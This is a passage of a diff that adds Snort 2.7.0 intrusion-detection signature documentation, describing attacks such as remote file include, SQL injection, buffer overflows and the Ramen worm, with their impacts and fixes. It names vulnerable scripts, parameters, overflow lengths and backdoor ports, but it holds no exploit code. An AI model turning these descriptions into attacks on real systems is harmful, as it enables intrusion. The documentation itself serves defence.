+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2275.txt
+++ snort-2.7.0/doc/signatures/2275.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2275
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to an
+SMTP server using brute force methods.
+
+--
+Impact:
+Attempted remote access.  
+This event may indicate that an attacker is attempting to guess username and password combinations.  
+Alternately, it may indicate that an authorized user has entered an
+incorrect username and password combination a number of times.
+
+--
+Detailed Information:
+An SMTP server will issue an error message after a failed login attempt.  
+This may be an indication of an attacker attempting brute force guessing 
+of username and password combinations.  It is also possible that an authorized 
+user has incorrectly entered a legitimate username and password combination.  
+
+This event will be generated after a number of failed attempts.
+
+--
+Affected Systems:
+SMTP servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed SMTP login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1301.txt
+++ snort-2.7.0/doc/signatures/1301.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1301
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1085.txt
+++ snort-2.7.0/doc/signatures/1085.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1085
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3394.txt
+++ snort-2.7.0/doc/signatures/3394.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3394
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000406.txt
+++ snort-2.7.0/doc/signatures/100000406.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000406
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "approb.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "approb.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/630.txt
+++ snort-2.7.0/doc/signatures/630.txt
@@ -0,0 +1,51 @@
+Rule: 
+
+-- 
+Sid:630
+
+-- 
+Summary:
+A host has scanned the network looking for vulnerable servers.
+
+-- 
+Impact:
+Information leak, reconnaisance, preperation for automated attack such as worm propagation
+
+
+-- 
+Detailed Information: 
+Synscan is the scanning and vulnerability testing engines for ramen, canserserver and is included in some versions of the t0rn root kit as t0rnscan. It is a very fast syn scanner. 
+
+-- 
+Attack Scenarios: 
+This is a scanning tool that is often the precursor to a worm infection.
+
+
+-- 
+Ease of Attack: 
+This scanner is fast and easy to use. It is readily available and was included with several worms.
+
+
+-- 
+False Positives: 
+sscan, mscan, and several other tools used ID=39426 but the use of SYNFIN is unique to synscan [1.5|1.6]
+
+-- 
+False Negatives: 
+This rule will not generate an event if recent versions of synScan, such as 1.6a, are used because synScan now uses random IP IDs.
+
+-- 
+Corrective Action: 
+Run flexresp with synscan kill.
+
+-- 
+Contributors: 
+Don Smith	Initial Research
+Josh Gray	Edits
+
+-- 
+Additional References:
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3079.txt
+++ snort-2.7.0/doc/signatures/3079.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+3079
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with Microsoft's processing of an animated cursor
+file.
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user downloading the
+malicious file.
+
+--
+Detailed Information:
+A vulnerability exists in the way the Microsoft Windows LoadImage API validates
+animated cursor (ANI) files. An invalid length associated with a structure
+supporting the properties of the animated cursor can cause a buffer overflow
+and the subsequent execution of arbirary code in the context of the current user.
+
+--
+Affected Systems:
+	Windows 98, ME, NT, 2000, XP (not SP2), and Server 2003
+
+--
+Attack Scenarios:
+An attacker can entice a user to download a malicious animated cursor
+file, causing a buffer overflow and the subsequent execution of arbitrary
+code on the vulnerable client.
+
+--
+Ease of Attack:
+Simple.  Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+In order to avoid potential evasion techniques, http_inspect should be
+configured with "flow_depth 0" so that all HTTP server response traffic is
+inspected.
+
+WARNING
+Setting flow_depth 0 will cause performance problems in some situations.
+WARNING
+
+--
+Corrective Action:
+Apply the patch(s) discussed in Microsoft bulletin MS05-002.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Microsoft Technet:
+http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/100000675.txt
+++ snort-2.7.0/doc/signatures/100000675.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000675
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "pfooter.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "pfooter.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1691.txt
+++ snort-2.7.0/doc/signatures/1691.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1691
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000763.txt
+++ snort-2.7.0/doc/signatures/100000763.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000763
+--
+Summary:
+This event is generated when an attempt is made to access the file "config.inc which contains known vulnerabilities in the "Kamikaze-QSCM" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known vulnerabilities from a remote machine used by the "Kamikaze-QSCM" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Kamikaze-QSCM
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000159.txt
+++ snort-2.7.0/doc/signatures/100000159.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000159
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of SIP REGISTER 
+messages is received in a short time frame.
+
+--
+Impact:
+This can be an indication of a denial of service attack in progress, or simply 
+a poorly configured or implemented user agent.
+
+--
+Detailed Information:
+This rule is used to detect overly large numbers of SIP REGISTER messages 
+coming into hosts on an internal network, which may indicate a denial of 
+service attack in progress. Since this traffic could also be the the result of 
+a poorly configured user agent, or simply a very busy SIP proxy, careful 
+analysis of both the hosts receiving and sending this traffic is required 
+before determining that an attack has actually taken place.
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to flood a system with REGISTER messages, 
+causing a denial of service.
+
+--
+Ease of Attack:
+Simple, as SIP is a public, well-documented protocol.
+
+--
+False Positives:
+Known SIP proxies may receive a high volume of legitimate REGISTER requests, 
+and NAT devices may appear to be sending a larger number of REGISTER requests 
+than a regular host. It is recommended that users whitelist known SIP proxies 
+and NAT devices.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.7.0.orig/doc/signatures/1902.txt
+++ snort-2.7.0/doc/signatures/1902.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+1902
+
+--
+Summary:
+This event is generated when a remote attacker sends an IMAP LSUB
+command with a malformed and overly long argument to an internal IMAP
+server port. This may indicate an attempt to exploit a buffer overflow
+vulnerability in the IMAP LSUB command.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When an LSUB command with an overly long argument is sent to a
+vulnerable IMAP server, a buffer overflow condition may occur. This can
+allow an attacker to execute arbitrary code from the command shell. Note
+that this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264.
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long LSUB command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch for your current version of imapd appropriate to your
+operating system.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000510.txt
+++ snort-2.7.0/doc/signatures/100000510.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000510
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "rank.php" with SQL commands being passed as the "MemberID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "MemberID" parameter in the "rank.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2552.txt
+++ snort-2.7.0/doc/signatures/2552.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2552
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/506.txt
+++ snort-2.7.0/doc/signatures/506.txt
@@ -0,0 +1,68 @@
+Rule:  
+
+--
+Sid:
+506
+
+--
+Summary:
+This event is generated when the Ramen worm attempts to retrieve a copy of the worm from a host.
+
+--
+Impact:
+Severe. The Ramen worm is already on the host and is currently propagating from the source ip address.
+
+--
+Detailed Information:
+The Ramen worm is a set of exploits that uses synscan to grab banners before exploiting new hosts.
+
+It scans automatically for random class B IP addresses and attacks them if possible. Another feature is the automatic defacement of index(.htm/html) files. The exploits are used to attack vulnerable WuFTPd servers, vulnerable RPC services (statd format string exploit) or vulnerable LPRng services. The RPC statd exploit binds suid shell on port 39168 which is used for further host compromise.
+
+--
+Affected Systems:
+Various Linux systems
+
+--
+Attack Scenarios:
+The RPC, WuFTP or LPRng printer spooler service was vulnerable and attacked by Ramen worm. The host is then back-doored on port 39168 and propagates to other vulnerable hosts in a class B/C network.
+
+--
+Ease of Attack:
+Simple. This is Worm activity
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+- rm -rf /usr/src/.poop (it contains the worm files)
+- rm -rf /tmp/ramen.tar.gz (Ramen worm files with exploits and shellscripts)
+- Delete line "/user/src/.poop/start*.sh" in /etc/rc.d/rc.sysinit
+- ps -Af | grep "asp" (Search PID of asp service port webserver)
+- kill -9 %PID_you_just_saw%
+- rm /sbin/asp (backdoor webserver, which binds to 27374)
+- Service startup:
+ - Using Inetd (Redhat 6): remove line "asp stream tcp nowait root" form /etc/inetd.conf and restart inetd service
+ - Using XInet.d (Redhat 7): rm -rf /etc/xinet.d/asp
+- Update /etc/hosts.deny because Ramen worm deletes the file or modifies it
+- Check index(.htm/html) files since they may be modified by the worm
+- Update WuFTPd server, NFS service, LPRng service
+- Reboot the host
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1639.txt
+++ snort-2.7.0/doc/signatures/1639.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1639
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.7.0.orig/doc/signatures/100000165.txt
+++ snort-2.7.0/doc/signatures/100000165.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+100000165
+
+-- 
+Summary: 
+This event is generated when an overly large UDP packet is sent to port 5093, 
+where the Sentinel License Manager service typically listens.
+
+--
+Impact:
+A denial of service will occur, and arbitrary code may be executed with the 
+privileges of the user running the service.
+
+--
+Detailed Information:
+A stack-based buffer overflow exists within the Sentinel License Manager, which 
+will be triggered if 2048 or more characters are received by the service. 
+Authentication is not required, and no specific characters need be present in 
+malicious packets in order to trigger the vulnerability.
+
+--
+Affected Systems:
+SafeNet Sentinel License Manager 7.2.0.2
+
+--
+Attack Scenarios:
+An attacker could use one of the publicly available exploit scripts, or create 
+a script which simply sends 2048 or more random characters to a vulnerable 
+server.
+
+--
+Ease of Attack:
+Simple, as public exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to version 8.0 or above.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.7.0.orig/doc/signatures/1128.txt
+++ snort-2.7.0/doc/signatures/1128.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1128
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000606.txt
+++ snort-2.7.0/doc/signatures/100000606.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000606
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "lang_modify.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "lang_modify.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
